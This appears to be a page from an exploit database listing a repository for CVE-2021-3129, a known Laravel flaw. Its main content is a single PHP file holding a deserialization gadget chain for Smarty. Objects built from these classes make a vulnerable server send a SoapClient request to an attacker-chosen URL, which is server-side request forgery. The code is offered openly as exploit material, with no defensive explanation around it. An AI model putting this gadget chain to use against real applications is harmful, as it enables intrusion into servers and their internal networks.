Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/Smarty/SSRF/1/gadgets.php
PHP · 587 bytes<?php
class Smarty_Template_Cached
{
public $is_locked = true;
public function __construct($url)
{
$res = parse_url($url);
$this->handler = new SoapClient(null, [
'uri' => $res['scheme'] . '://' . $res['host'] . '/',
'location' => $url
]);
}
}
class Smarty
{
public $cache_locking = true;
}
class Smarty_Internal_Template
{
public $cached;
public $smarty;
public function __construct($url)
{
$this->smarty = new Smarty();
$this->cached = new Smarty_Template_Cached($url);
}
}
?>